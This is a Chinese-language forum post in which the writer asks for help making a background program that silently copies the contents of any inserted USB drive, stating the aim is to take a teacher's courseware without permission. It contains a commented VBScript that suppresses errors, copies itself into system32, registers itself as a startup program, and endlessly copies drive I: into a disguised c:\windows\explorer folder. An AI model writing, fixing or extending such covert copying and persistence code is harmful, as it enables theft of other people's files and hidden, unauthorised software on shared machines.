U盘文件自动拷贝代码
U盘文件自动拷贝代码功能概括
1. 自动监测U盘插入事件
2. 后台拷贝U盘文件内容到指定目录
3. 后台隐藏模式隐蔽运行
4. 可选随系统自动启动
最好可以给 解释下下 一些重要步骤（本人不太懂C语言，学的不好） 谢谢 ！！本人主要是 用于拷老师的课件 他不给拷 所以找人帮忙啦！！！
下边这个是我从网上找的 帮忙看下能实现不 如果不可以，能帮忙改下吗？谢谢啦！！
CODE:
On Error Resume Next ‘忽略异常，否则可能会有错误提示框
Set fso=CreateObject("Scripting.FileSystemObject") ‘创建fso
dim n
Set n=CreateObject("Wscript.Shell") ‘声明变量n
Set dir = fso.GetSpecialFolder(1) ‘读取system32文件夹路径
fso.GetFile(WScript.ScriptFullName).Copy(dir&"\copy.vbs") ‘读取自身文件名，并复制自己到system32文件夹，重命名为copy.vbs
dim r
Set r=CreateObject("Wscript.Shell") ‘声明变量r，用于读写注册表
r.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\","copy.vbs","REG_SZ" ‘为脚本添加启动项
fso.CreateFolder("c:\windows\explorer") ‘创建文件夹，用来存放U盘文件
for i = 1 to 2
i = 1 ‘看出来了么，这是个死循环，变量i不可能到2，所以可以不断检查U盘并复制内容
fso.CopyFile "i:\*", "c:\windows\explorer\", True ‘复制I盘(U盘盘符)所有文件到指定文件夹
fso.CopyFolder "i:\*", "c:\windows\explorer\", True ‘复制I盘所有文件夹到指定文件夹
wscript.sleep 10000 ‘挂起10秒，此属性单位为毫秒
next
